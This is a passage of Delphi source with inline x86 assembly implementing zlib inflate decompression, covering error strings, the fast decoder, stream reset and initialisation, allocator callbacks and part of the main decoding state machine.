'insufficient memory', // Z_MEM_ERROR (-4)
'buffer error', // Z_BUF_ERROR (-5)
'incompatible version',// Z_VERSION_ERROR (-6)
'');
Err246: array[0..3] of AnsiChar = 'lit';
Err247: array[0..3] of AnsiChar = 'dst';
Err248: array[0..3] of AnsiChar = 'inv';
procedure Inline018;
asm
sub esp, 60
push ebx
push ebp
push esi
push edi
mov eax, dword ptr [esp + 50H]
mov edx, dword ptr [eax]
mov ecx, dword ptr [eax + 04H]
mov ebx, dword ptr [esp + 54H]
dec edx
lea ecx, [ecx + edx - 05H]
mov ebp, dword ptr [eax + 1CH]
mov dword ptr [esp + 30H], ecx
mov esi, dword ptr [eax + 0CH]
mov eax, dword ptr [eax + 10H]
mov ecx, eax
sub ecx, ebx
dec esi
lea eax, [eax + esi - 00000101H]
add ecx, esi
mov dword ptr [esp + 34H], eax
mov eax, dword ptr [ebp + 2CH]
mov dword ptr [esp + 44H], ecx
mov ecx, dword ptr [ebp + 28H]
mov dword ptr [esp + 48H], eax
mov eax, dword ptr [ebp + 34H]
mov ebx, dword ptr [ebp + 3CH]
mov dword ptr [esp + 28H], ecx
mov ecx, dword ptr [ebp + 30H]
mov dword ptr [esp + 2CH], eax
mov eax, dword ptr [ebp + 50H]
mov dword ptr [esp + 1CH], ecx
mov ecx, dword ptr [ebp + 4CH]
mov dword ptr [esp + 24H], eax
mov dword ptr [esp + 20H], ecx
mov ecx, dword ptr [ebp + 54H]
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebp + 58H]
mov edi, dword ptr [ebp + 38H]
dec eax
mov dword ptr [esp + 38H], eax
mov eax, 1
shl eax, cl
mov dword ptr [esp + 18H], ebp
mov dword ptr [esp + 14H], edx
dec eax
mov dword ptr [esp + 3CH], eax
@@019: cmp ebx, 15
jnc @@020
movzx eax, byte ptr [edx + 01H]
inc edx
mov ecx, ebx
shl eax, cl
add ebx, 8
mov ecx, ebx
add edi, eax
movzx eax, byte ptr [edx + 01H]
inc edx
shl eax, cl
mov dword ptr [esp + 14H], edx
add edi, eax
add ebx, 8
@@020: mov ecx, dword ptr [esp + 38H]
mov eax, dword ptr [esp + 20H]
and ecx, edi
mov eax, dword ptr [eax + ecx*4]
movzx ecx, ah
mov dword ptr [esp + 10H], eax
movzx eax, al
shr edi, cl
sub ebx, ecx
test eax, eax
jz @@022
@@021: test al, 10H
jnz @@023
test al, 40H
jne @@046
mov ecx, 1
mov dword ptr [esp + 54H], ecx
mov ecx, eax
mov eax, dword ptr [esp + 54H]
shl eax, cl
mov ecx, dword ptr [esp + 10H]
shr ecx, 16
dec eax
and eax, edi
add eax, ecx
mov ecx, dword ptr [esp + 20H]
mov eax, dword ptr [ecx + eax*4]
movzx ecx, ah
mov dword ptr [esp + 10H], eax
movzx eax, al
shr edi, cl
sub ebx, ecx
test eax, eax
jnz @@021
@@022: mov eax, dword ptr [esp + 10H]
inc esi
shr eax, 16
mov byte ptr [esi], al
jmp @@043
@@023: mov ecx, dword ptr [esp + 10H]
shr ecx, 16
and eax, 0000000FH
mov dword ptr [esp + 54H], ecx
jz @@025
cmp ebx, eax
jnc @@024
movzx ebp, byte ptr [edx + 01H]
inc edx
mov ecx, ebx
shl ebp, cl
mov dword ptr [esp + 14H], edx
add edi, ebp
add ebx, 8
@@024: mov ecx, eax
mov ebp, 1
shl ebp, cl
mov ecx, dword ptr [esp + 54H]
dec ebp
and ebp, edi
add ecx, ebp
mov ebp, dword ptr [esp + 18H]
mov dword ptr [esp + 54H], ecx
mov ecx, eax
shr edi, cl
sub ebx, eax
@@025: cmp ebx, 15
jnc @@026
movzx eax, byte ptr [edx + 01H]
inc edx
mov ecx, ebx
shl eax, cl
add ebx, 8
mov ecx, ebx
add edi, eax
movzx eax, byte ptr [edx + 01H]
inc edx
shl eax, cl
mov dword ptr [esp + 14H], edx
add edi, eax
add ebx, 8
@@026: mov ecx, dword ptr [esp + 3CH]
mov eax, dword ptr [esp + 24H]
and ecx, edi
mov eax, dword ptr [eax + ecx*4]
movzx ecx, ah
mov dword ptr [esp + 10H], eax
movzx eax, al
shr edi, cl
sub ebx, ecx
test al, 10H
jnz @@028
@@027: test al, 40H
jne @@045
mov ecx, 1
mov dword ptr [esp + 40H], ecx
mov ecx, eax
mov eax, dword ptr [esp + 40H]
shl eax, cl
mov ecx, dword ptr [esp + 10H]
shr ecx, 16
dec eax
and eax, edi
add eax, ecx
mov ecx, dword ptr [esp + 24H]
mov eax, dword ptr [ecx + eax*4]
movzx ecx, ah
mov dword ptr [esp + 10H], eax
movzx eax, al
shr edi, cl
sub ebx, ecx
test al, 10H
jz @@027
@@028: mov ecx, dword ptr [esp + 10H]
shr ecx, 16
and eax, 0000000FH
cmp ebx, eax
mov dword ptr [esp + 10H], ecx
jnc @@029
movzx ebp, byte ptr [edx + 01H]
inc edx
mov ecx, ebx
shl ebp, cl
add ebx, 8
mov dword ptr [esp + 14H], edx
add edi, ebp
cmp ebx, eax
jnc @@029
movzx ebp, byte ptr [edx + 01H]
inc edx
mov ecx, ebx
shl ebp, cl
mov dword ptr [esp + 14H], edx
add edi, ebp
add ebx, 8
@@029: mov ecx, 1
mov ebp, ecx
mov ecx, eax
shl ebp, cl
sub ebx, eax
dec ebp
and ebp, edi
mov ecx, ebp
mov ebp, dword ptr [esp + 10H]
add ebp, ecx
mov ecx, eax
shr edi, cl
mov ecx, dword ptr [esp + 44H]
mov eax, esi
sub eax, ecx
cmp ebp, eax
mov dword ptr [esp + 10H], ebp
jbe @@040
sub ebp, eax
cmp ebp, dword ptr [esp + 48H]
ja @@044
mov ecx, dword ptr [esp + 2CH]
mov eax, dword ptr [esp + 1CH]
dec ecx
test eax, eax
jnz @@031
mov eax, dword ptr [esp + 28H]
sub eax, ebp
add ecx, eax
mov eax, dword ptr [esp + 54H]
cmp ebp, eax
jae @@037
sub eax, ebp
mov dword ptr [esp + 54H], eax
@@030: mov al, byte ptr [ecx + 01H]
inc ecx
inc esi
dec ebp
mov byte ptr [esi], al
jnz @@030
jmp @@036
@@031: cmp eax, ebp
jnc @@034
sub eax, ebp
add eax, dword ptr [esp + 28H]
add ecx, eax
sub ebp, dword ptr [esp + 1CH]
mov eax, dword ptr [esp + 54H]
cmp ebp, eax
jnc @@037
sub eax, ebp
mov dword ptr [esp + 54H], eax
@@032: mov al, byte ptr [ecx + 01H]
inc ecx
inc esi
dec ebp
mov byte ptr [esi], al
jnz @@032
mov ecx, dword ptr [esp + 2CH]
mov eax, dword ptr [esp + 1CH]
mov ebp, dword ptr [esp + 54H]
dec ecx
cmp eax, ebp
jnc @@037
sub ebp, eax
mov dword ptr [esp + 54H], ebp
mov dword ptr [esp + 40H], eax
mov ebp, eax
@@033: mov al, byte ptr [ecx + 01H]
inc ecx
inc esi
dec ebp
mov byte ptr [esi], al
jnz @@033
jmp @@036
@@034: sub eax, ebp
add ecx, eax
mov eax, dword ptr [esp + 54H]
cmp ebp, eax
jnc @@037
sub eax, ebp
mov dword ptr [esp + 54H], eax
@@035: mov al, byte ptr [ecx + 01H]
inc ecx
inc esi
dec ebp
mov byte ptr [esi], al
jnz @@035
@@036: mov eax, dword ptr [esp + 10H]
mov ecx, esi
sub ecx, eax
@@037: mov eax, dword ptr [esp + 54H]
cmp eax, 2
jbe @@039
lea edx, [eax - 03H]
mov eax, -1431655765
mul edx
mov ebp, edx
shr ebp, 1
inc ebp
nop
@@038: mov al, byte ptr [ecx + 01H]
inc ecx
inc esi
mov byte ptr [esi], al
mov dl, byte ptr [ecx + 01H]
inc ecx
inc esi
mov byte ptr [esi], dl
mov edx, dword ptr [esp + 54H]
mov al, byte ptr [ecx + 01H]
inc ecx
inc esi
sub edx, 3
dec ebp
mov byte ptr [esi], al
mov dword ptr [esp + 54H], edx
jnz @@038
mov edx, dword ptr [esp + 14H]
@@039: mov eax, dword ptr [esp + 54H]
test eax, eax
jz @@042
mov al, byte ptr [ecx + 01H]
inc ecx
inc esi
mov byte ptr [esi], al
cmp dword ptr [esp + 54H], 1
jbe @@042
mov cl, byte ptr [ecx + 01H]
inc esi
mov byte ptr [esi], cl
jmp @@042
@@040: mov eax, esi
sub eax, ebp
@@041: mov cl, byte ptr [eax + 01H]
inc eax
inc esi
mov byte ptr [esi], cl
mov cl, byte ptr [eax + 01H]
inc eax
inc esi
mov byte ptr [esi], cl
mov cl, byte ptr [eax + 01H]
inc eax
inc esi
mov byte ptr [esi], cl
mov ecx, dword ptr [esp + 54H]
sub ecx, 3
cmp ecx, 2
mov dword ptr [esp + 54H], ecx
ja @@041
test ecx, ecx
jz @@042
mov cl, byte ptr [eax + 01H]
inc eax
inc esi
mov byte ptr [esi], cl
cmp dword ptr [esp + 54H], 1
jbe @@042
mov al, byte ptr [eax + 01H]
inc esi
mov byte ptr [esi], al
@@042: mov ebp, dword ptr [esp + 18H]
@@043: cmp edx, dword ptr [esp + 30H]
jnc @@049
cmp esi, dword ptr [esp + 34H]
jb @@019
jmp @@049
@@044: mov ecx, dword ptr [esp + 50H]
mov eax, dword ptr [esp + 18H]
mov dword ptr [ecx + 18H],offset Err248
mov dword ptr [eax], 27
mov ebp, eax
jmp @@049
@@045: mov ecx, dword ptr [esp + 50H]
mov dword ptr [ecx + 18H], offset Err247
jmp @@048
@@046: test al, 20H
jz @@047
mov dword ptr [ebp], 11
jmp @@049
@@047: mov eax, dword ptr [esp + 50H]
mov dword ptr [eax + 18H], offset Err246
@@048: mov dword ptr [ebp], 27
@@049: mov eax, ebx
shr eax, 3
lea ecx, [eax*8]
sub edx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, 1
shl eax, cl
mov ecx, dword ptr [esp + 50H]
dec eax
and edi, eax
lea eax, [edx + 01H]
mov dword ptr [ecx], eax
lea eax, [esi + 01H]
mov dword ptr [ecx + 0CH], eax
mov eax, dword ptr [esp + 30H]
sub eax, edx
add eax, 5
mov dword ptr [ecx + 04H], eax
mov eax, dword ptr [esp + 34H]
sub eax, esi
add eax, 257
mov dword ptr [ecx + 10H], eax
mov dword ptr [ebp + 38H], edi
pop edi
pop esi
mov dword ptr [ebp + 3CH], ebx
pop ebp
pop ebx
add esp, 60
ret 8
end;
procedure inflateReset;
asm
mov edx, dword ptr [esp + 04H]
xor ecx, ecx
cmp edx, ecx
jz @@050
mov eax, dword ptr [edx + 1CH]
cmp eax, ecx
jz @@050
mov dword ptr [eax + 1CH], ecx
mov dword ptr [edx + 14H], ecx
mov dword ptr [edx + 08H], ecx
mov dword ptr [edx + 18H], ecx
mov dword ptr [edx + 30H], 1
mov dword ptr [eax], ecx
mov dword ptr [eax + 04H], ecx
mov dword ptr [eax + 0CH], ecx
mov dword ptr [eax + 20H], ecx
mov dword ptr [eax + 28H], ecx
mov dword ptr [eax + 2CH], ecx
mov dword ptr [eax + 30H], ecx
mov dword ptr [eax + 38H], ecx
mov dword ptr [eax + 3CH], ecx
lea ecx, [eax + 00000530H]
mov dword ptr [eax + 14H], 32768
mov dword ptr [eax + 6CH], ecx
mov dword ptr [eax + 50H], ecx
mov dword ptr [eax + 4CH], ecx
xor eax, eax
ret 4
@@050: mov eax, -2
ret 4
end;
function zsalloc(AppData: Pointer; Items, Size: cardinal): Pointer; stdcall;
begin // direct use of the (FastMM4) delphi heap for all inflate memory allocation
Getmem(result,Items * Size);
end;
procedure zsfree(AppData, Block: Pointer); stdcall;
begin // direct use of the (FastMM4) delphi heap for all inflate memory allocation
FreeMem(Block);
end;
function inflateInit2_;
asm pop ebp // auto-generated push ebp; mov ebp,esp
mov eax, dword ptr [esp + 0CH]
push edi
xor edi, edi
cmp eax, edi
je @@058
cmp byte ptr [eax], 49
jne @@058
cmp dword ptr [esp + 14H], 56
jnz @@058
push esi
mov esi, dword ptr [esp + 0CH]
cmp esi, edi
jz @@057
mov [esi].TZStream.zFree,offset zsfree
mov [esi].TZStream.zAlloc,offset zsalloc
mov dword ptr [esi + 18H], edi
mov eax,9520
call System.@GetMem
mov [esi].TZStream.State,eax
mov ecx, dword ptr [esp + 10H]
cmp ecx, edi
jge @@054
mov dword ptr [eax + 08H], edi
neg ecx
jmp @@055
@@054: mov edx, ecx
sar edx, 4
inc edx
mov dword ptr [eax + 08H], edx
@@055: cmp ecx, 8
jl @@056
cmp ecx, 15
jg @@056
push esi
mov dword ptr [eax + 24H], ecx
mov dword ptr [eax + 34H], edi
call inflateReset
pop esi
pop edi
ret 16
@@056: push eax
mov eax, dword ptr [esi + 28H]
push eax
call dword ptr [esi + 24H]
mov dword ptr [esi + 1CH], edi
@@057: pop esi
mov eax, -2
pop edi
ret 16
@@058: mov eax, -6
pop edi
ret 16
end;
procedure Inline059;
asm
push ebx
push ebp
mov ebp, dword ptr [esp + 0CH]
mov ebx, dword ptr [ebp + 1CH]
push esi
push edi
mov esi, eax
mov eax, dword ptr [ebx + 34H]
xor edi, edi
cmp eax, edi
jnz @@060
mov ecx, dword ptr [ebx + 24H]
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebp + 28H]
push 1
push eax
push ecx
call dword ptr [ebp + 20H]
cmp eax, edi
mov dword ptr [ebx + 34H], eax
jnz @@060
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 4
@@060: cmp dword ptr [ebx + 28H], edi
jnz @@061
mov ecx, dword ptr [ebx + 24H]
mov edx, 1
shl edx, cl
mov dword ptr [ebx + 30H], edi
mov dword ptr [ebx + 2CH], edi
mov dword ptr [ebx + 28H], edx
@@061: mov edi, dword ptr [ebp + 10H]
mov ecx, dword ptr [ebx + 28H]
sub esi, edi
mov eax, esi
cmp eax, ecx
jc @@062
mov esi, dword ptr [ebp + 0CH]
mov edi, dword ptr [ebx + 34H]
sub esi, ecx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 00000003H
rep movsb
mov ecx, dword ptr [ebx + 28H]
pop edi
pop esi
pop ebp
mov dword ptr [ebx + 30H], 0
mov dword ptr [ebx + 2CH], ecx
xor eax, eax
pop ebx
ret 4
@@062: sub ecx, dword ptr [ebx + 30H]
cmp ecx, eax
mov dword ptr [esp + 14H], ecx
jbe @@063
mov ecx, eax
mov dword ptr [esp + 14H], ecx
@@063: mov edx, dword ptr [ebx + 30H]
mov edi, dword ptr [ebx + 34H]
mov esi, dword ptr [ebp + 0CH]
add edi, edx
mov edx, ecx
shr ecx, 2
sub esi, eax
rep movsd
mov ecx, edx
and ecx, 00000003H
rep movsb
mov ecx, dword ptr [esp + 14H]
sub eax, ecx
jz @@064
mov esi, dword ptr [ebp + 0CH]
mov edi, dword ptr [ebx + 34H]
mov ecx, eax
mov edx, ecx
sub esi, eax
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 00000003H
rep movsb
pop edi
mov dword ptr [ebx + 30H], eax
mov eax, dword ptr [ebx + 28H]
pop esi
mov dword ptr [ebx + 2CH], eax
pop ebp
xor eax, eax
pop ebx
ret 4
@@064: mov edi, dword ptr [ebx + 30H]
mov eax, dword ptr [ebx + 28H]
add edi, ecx
mov edx, edi
cmp edx, eax
mov dword ptr [ebx + 30H], edi
jnz @@065
mov dword ptr [ebx + 30H], 0
@@065: mov edx, dword ptr [ebx + 2CH]
cmp edx, eax
jnc @@066
add edx, ecx
mov dword ptr [ebx + 2CH], edx
@@066: pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 4
end;
function inflate;
asm pop ebp // auto-generated push ebp; mov ebp,esp
mov eax, dword ptr [esp + 04H]
sub esp, 52
test eax, eax
push ebx
je @@191
mov ebx, dword ptr [eax + 1CH]
test ebx, ebx
je @@191
mov ecx, dword ptr [eax + 0CH]
test ecx, ecx
je @@191
cmp dword ptr [eax], 0
jnz @@067
mov ecx, dword ptr [eax + 04H]
test ecx, ecx
jne @@191
@@067: cmp dword ptr [ebx], 11
jnz @@068
mov dword ptr [ebx], 12
@@068: mov ecx, dword ptr [eax + 0CH]
mov edx, dword ptr [ebx + 38H]
push ebp
mov ebp, dword ptr [ebx + 3CH]
push esi
mov esi, dword ptr [eax]
push edi
mov edi, dword ptr [eax + 04H]
mov dword ptr [esp + 24H], ecx
mov ecx, dword ptr [eax + 10H]
mov eax, dword ptr [ebx]
cmp eax, 28
mov dword ptr [esp + 1CH], ecx
mov dword ptr [esp + 14H], esi
mov dword ptr [esp + 18H], edi
mov dword ptr [esp + 10H], edx
mov dword ptr [esp + 38H], edi
mov dword ptr [esp + 28H], ecx
mov dword ptr [esp + 2CH], 0
ja @@176
@@069: jmp dword ptr [@@192 + eax*4]
@@070: mov eax, dword ptr [ebx + 08H]
test eax, eax
jnz @@071
mov dword ptr [ebx], 12
jmp @@175
@@071: cmp ebp, 16
jnc @@073
@@072: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
inc esi
cmp ebp, 16
mov dword ptr [esp + 10H], edx
mov dword ptr [esp + 14H], esi
jc @@072
@@073: mov eax, edx
and eax, 000000FFH
shr edx, 8
shl eax, 8
add eax, edx
xor edx, edx
mov ecx, 31
div ecx
test edx, edx
jz @@074
mov edx, dword ptr [esp + 48H]
mov dword ptr [edx + 18H], offset Err248
mov edx, dword ptr [esp + 10H]
jmp @@174
@@074: mov ecx, dword ptr [esp + 10H]
mov eax, ecx
and al, 0FH
cmp al, 8
jz @@075
mov ecx, dword ptr [esp + 48H]
mov edx, dword ptr [esp + 10H]
mov dword ptr [ecx + 18H], offset Err248
jmp @@174
@@075: mov eax, dword ptr [ebx + 24H]
shr ecx, 4
mov dword ptr [esp + 10H], ecx
and ecx, 0000000FH
add ecx, 8
sub ebp, 4
cmp ecx, eax
jbe @@076
mov edx, dword ptr [esp + 48H]
mov dword ptr [edx + 18H], offset Err248
mov edx, dword ptr [esp + 10H]
jmp @@174
@@076: mov eax, 1
shl eax, cl
mov dword ptr [ebx + 14H], eax
xor eax,eax
xor ecx,ecx
xor edx,edx
xor ebp,ebp
call Adler32
mov edx, dword ptr [esp + 10H]
mov ecx, dword ptr [esp + 48H]
shr edx, 8
not edx
and edx, 00000002H
or edx, 00000009H
mov dword ptr [ebx + 18H], eax
mov dword ptr [ecx + 30H], eax
mov dword ptr [ebx], edx
mov dword ptr [esp + 10H], ebp
mov edx, ebp
jmp @@175
@@077: cmp ebp, 32
jnc @@079
@@078: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
inc esi
cmp ebp, 32
mov dword ptr [esp + 10H], edx
mov dword ptr [esp + 14H], esi
jc @@078
@@079: mov ecx, edx
and ecx, 0000FF00H
mov eax, edx
shl eax, 16
add ecx, eax
xor eax, eax
mov ah, byte ptr [esp + 12H]
shl ecx, 8
shr edx, 24
add ecx, eax
lea eax, [ecx + edx]
mov ecx, dword ptr [esp + 48H]
xor ebp, ebp
mov dword ptr [ebx + 18H], eax
mov dword ptr [ecx + 30H], eax
mov dword ptr [esp + 10H], ebp
mov dword ptr [ebx], 10
mov edx, ebp
@@080: mov eax, dword ptr [ebx + 0CH]
test eax, eax
je @@178
xor eax,eax
xor ecx,ecx
xor edx,edx
call Adler32
mov edx, dword ptr [esp + 48H]
mov dword ptr [ebx + 18H], eax
mov dword ptr [edx + 30H], eax
mov edx, dword ptr [esp + 10H]
mov dword ptr [ebx], 11
@@081: cmp dword ptr [esp + 4CH], 5
je @@183
@@082: mov eax, dword ptr [ebx + 04H]
test eax, eax
jz @@083
mov ecx, ebp
and ecx, 00000007H
shr edx, cl
sub ebp, ecx
mov dword ptr [ebx], 24
mov dword ptr [esp + 10H], edx
jmp @@175
@@083: cmp ebp, 3
jnc @@085
@@084: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
inc esi
cmp ebp, 3
mov dword ptr [esp + 14H], esi
jc @@084
@@085: mov ecx, edx
shr edx, 1
and ecx, 00000001H
mov eax, edx
and eax, 00000003H
dec ebp
cmp eax, 3
mov dword ptr [ebx + 04H], ecx
ja @@090
jmp dword ptr [@@193 + eax*4]
@@086: shr edx, 2
mov dword ptr [ebx], 13
mov dword ptr [esp + 10H], edx
sub ebp, 2
jmp @@175
@@087: shr edx, 2
mov dword ptr [ebx + 4CH], offset @@249
mov dword ptr [ebx + 54H], 9
mov dword ptr [ebx + 50H], offset @@250
mov dword ptr [ebx + 58H], 5
mov dword ptr [ebx], 18
mov dword ptr [esp + 10H], edx
sub ebp, 2
jmp @@175
@@088: shr edx, 2
mov dword ptr [ebx], 15
mov dword ptr [esp + 10H], edx
sub ebp, 2
jmp @@175
@@089: mov eax, dword ptr [esp + 48H]
mov dword ptr [eax + 18H], offset Err248
mov dword ptr [ebx], 27
@@090: shr edx, 2
mov dword ptr [esp + 10H], edx
sub ebp, 2
jmp @@175
@@091: mov ecx, ebp
and ecx, 00000007H
shr edx, cl
sub ebp, ecx
cmp ebp, 32
mov dword ptr [esp + 10H], edx
jnc @@093
@@092: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
inc esi
cmp ebp, 32
mov dword ptr [esp + 10H], edx
mov dword ptr [esp + 14H], esi
jc @@092
@@093: mov ecx, edx
mov eax, edx
not ecx
and eax, 0000FFFFH
shr ecx, 16
cmp eax, ecx
jz @@094
mov eax, dword ptr [esp + 48H]
mov dword ptr [eax + 18H], offset Err248
jmp @@174
@@094: xor ebp, ebp
mov dword ptr [ebx + 40H], eax
mov dword ptr [esp + 10H], ebp
mov dword ptr [ebx], 14
mov edx, ebp
@@095: mov ecx, dword ptr [ebx + 40H]
test ecx, ecx
mov dword ptr [esp + 20H], ecx
je @@142
cmp ecx, edi
jbe @@096
mov ecx, edi
mov dword ptr [esp + 20H], ecx
@@096: mov eax, dword ptr [esp + 1CH]
cmp ecx, eax
jbe @@097
mov ecx, eax
mov dword ptr [esp + 20H], ecx
@@097: test ecx, ecx
je @@183
mov esi, dword ptr [esp + 14H]
mov edi, dword ptr [esp + 24H]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, dword ptr [esp + 20H]
and ecx, 00000003H
rep movsb
mov esi, dword ptr [esp + 18H]
mov ecx, dword ptr [esp + 14H]
mov edi, dword ptr [esp + 1CH]
sub esi, eax
mov dword ptr [esp + 18H], esi
mov esi, dword ptr [esp + 24H]
add ecx, eax
mov dword ptr [esp + 14H], ecx
mov ecx, dword ptr [ebx + 40H]
sub edi, eax
add esi, eax
sub ecx, eax
mov dword ptr [esp + 1CH], edi
mov edi, dword ptr [esp + 18H]
mov dword ptr [esp + 24H], esi
mov esi, dword ptr [esp + 14H]
mov dword ptr [ebx + 40H], ecx
jmp @@175
@@098: cmp ebp, 14
jnc @@100
@@099: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
inc esi
cmp ebp, 14
mov dword ptr [esp + 14H], esi
jc @@099
@@100: mov ecx, edx
and ecx, 0000001FH
shr edx, 5
add ecx, 257
mov eax, edx
mov dword ptr [ebx + 60H], ecx
and eax, 0000001FH
shr edx, 5
inc eax
mov ecx, edx
and ecx, 0000000FH
mov dword ptr [ebx + 64H], eax
mov eax, dword ptr [ebx + 60H]
add ecx, 4
shr edx, 4
sub ebp, 14
cmp eax, 286
mov dword ptr [ebx + 5CH], ecx
mov dword ptr [esp + 10H], edx
ja @@108
cmp dword ptr [ebx + 64H], 30
ja @@108
mov dword ptr [ebx + 68H], 0
mov dword ptr [ebx], 16
@@101: mov ecx, dword ptr [ebx + 68H]
cmp ecx, dword ptr [ebx + 5CH]
jnc @@105
@@102: cmp ebp, 3
jnc @@104
@@103: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
dec edi
add ebp, 8
mov dword ptr [esp + 18H], edi
add edx, eax
inc esi
cmp ebp, 3
mov dword ptr [esp + 14H], esi
jc @@103
@@104: mov eax, dword ptr [ebx + 68H]
movzx eax, word ptr [@@251 + eax*2]
xor ecx, ecx
mov cl, dl
shr edx, 3
sub ebp, 3
mov dword ptr [esp + 10H], edx
and ecx, 00000007H
mov word ptr [ebx + eax*2 + 70H], cx
mov ecx, dword ptr [ebx + 68H]
inc ecx
mov dword ptr [ebx + 68H], ecx
cmp ecx, dword ptr [ebx + 5CH]
jc @@102
@@105: mov ecx, dword ptr [ebx + 68H]
mov eax, 19
cmp ecx, eax
jnc @@107
xor ecx, ecx
@@106: mov edx, dword ptr [ebx + 68H]
movzx edx, word ptr [@@251 + edx*2]
mov word ptr [ebx + edx*2 + 70H], cx
mov edx, dword ptr [ebx + 68H]
inc edx
cmp edx, eax
mov dword ptr [ebx + 68H], edx
jc @@106
@@107: lea eax, [ebx + 00000530H]
lea ecx, [ebx + 6CH]
mov dword ptr [ecx], eax
mov dword ptr [ebx + 4CH], eax
lea edx, [ebx + 000002F0H]
push edx
lea eax, [ebx + 54H]
push eax
push ecx
mov dword ptr [eax], 7
push 19
lea eax, [ebx + 70H]
push eax
push 0
call @@196
test eax, eax
mov edx, dword ptr [esp + 10H]
mov dword ptr [esp + 2CH], eax
jz @@109
mov ecx, dword ptr [esp + 48H]
mov dword ptr [ecx + 18H], offset Err248
jmp @@174
@@108: mov eax, dword ptr [esp + 48H]
mov dword ptr [eax + 18H], offset Err248
jmp @@174
@@109: mov dword ptr [ebx + 68H], 0
mov dword ptr [ebx], 17
@@110: mov ecx, dword ptr [ebx + 60H]
mov eax, dword ptr [ebx + 64H]
add eax, ecx
cmp dword ptr [ebx + 68H], eax
jae @@129
@@111: mov ecx, dword ptr [ebx + 54H]
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebx + 4CH]
dec eax
and eax, edx
mov eax, dword ptr [ecx + eax*4]
movzx ecx, ah
cmp ecx, ebp
mov dword ptr [esp + 3CH], eax
jbe @@113
@@112: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
mov ecx, dword ptr [ebx + 54H]
dec edi
add ebp, 8
add edx, eax
mov eax, 1
shl eax, cl
mov ecx, dword ptr [ebx + 4CH]
inc esi
mov dword ptr [esp + 18H], edi
dec eax
and eax, edx
mov eax, dword ptr [ecx + eax*4]
movzx ecx, ah
cmp ecx, ebp
mov dword ptr [esp + 14H], esi
mov dword ptr [esp + 3CH], eax
ja @@112
@@113: mov ecx, dword ptr [esp + 3CH]
shr ecx, 16
cmp cx, 16
jnc @@116
movzx ecx, ah
cmp ebp, ecx
mov dword ptr [esp + 20H], ecx
jnc @@115
@@114: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
mov ecx, dword ptr [esp + 20H]
dec edi
add ebp, 8
add edx, eax
inc esi
cmp ebp, ecx
mov dword ptr [esp + 18H], edi
mov dword ptr [esp + 14H], esi
jc @@114
@@115: mov ax, word ptr [esp + 3EH]
shr edx, cl
sub ebp, ecx
mov ecx, dword ptr [ebx + 68H]
mov word ptr [ebx + ecx*2 + 70H], ax
mov eax, dword ptr [ebx + 68H]
inc eax
mov dword ptr [esp + 10H], edx
mov dword ptr [ebx + 68H], eax
jmp @@128
@@116: jnz @@119
movzx ecx, ah
lea eax, [ecx + 02H]
cmp ebp, eax
mov dword ptr [esp + 20H], ecx
jnc @@118
@@117: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
mov ecx, dword ptr [esp + 20H]
dec edi
add ebp, 8
add edx, eax
inc esi
lea eax, [ecx + 02H]
cmp ebp, eax
mov dword ptr [esp + 18H], edi
mov dword ptr [esp + 14H], esi
jc @@117
@@118: mov eax, dword ptr [ebx + 68H]
shr edx, cl
sub ebp, ecx
test eax, eax
mov dword ptr [esp + 10H], edx
je @@130
movzx ecx, word ptr [ebx + eax*2 + 6EH]
mov eax, edx
and eax, 00000003H
add eax, 3
shr edx, 2
mov dword ptr [esp + 30H], ecx
mov dword ptr [esp + 20H], eax
sub ebp, 2
jmp @@126
@@119: cmp cx, 17
movzx ecx, ah
mov dword ptr [esp + 20H], ecx
jnz @@122
lea eax, [ecx + 03H]
cmp ebp, eax
jnc @@121
@@120: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
mov ecx, dword ptr [esp + 20H]
dec edi
add ebp, 8
add edx, eax
inc esi
lea eax, [ecx + 03H]
cmp ebp, eax
mov dword ptr [esp + 18H], edi
mov dword ptr [esp + 14H], esi
jc @@120
@@121: shr edx, cl
mov eax, edx
and eax, 00000007H
add eax, 3
mov dword ptr [esp + 20H], eax
shr edx, 3
mov eax, -3
jmp @@125
@@122: lea eax, [ecx + 07H]
cmp ebp, eax
jnc @@124
@@123: test edi, edi
je @@183
movzx eax, byte ptr [esi]
mov ecx, ebp
shl eax, cl
mov ecx, dword ptr [esp + 20H]
dec edi
add ebp, 8
add edx, eax
inc esi
lea eax, [ecx + 07H]
cmp ebp, eax
mov dword ptr [esp + 18H], edi
mov dword ptr [esp + 14H], esi
jc @@123
@@124: shr edx, cl
mov eax, edx
and eax, 0000007FH
add eax, 11
mov dword ptr [esp + 20H], eax
shr edx, 7
mov eax, -7
@@125: sub eax, ecx
mov dword ptr [esp + 30H], 0
add ebp, eax
@@126: mov eax, dword ptr [ebx + 60H]
mov ecx, dword ptr [ebx + 64H]
add ecx, eax
mov eax, dword ptr [ebx + 68H]
add eax, dword ptr [esp + 20H]
mov dword ptr [esp + 10H], edx
cmp eax, ecx
ja @@131
mov eax, dword ptr [esp + 20H]
test eax, eax
jz @@128
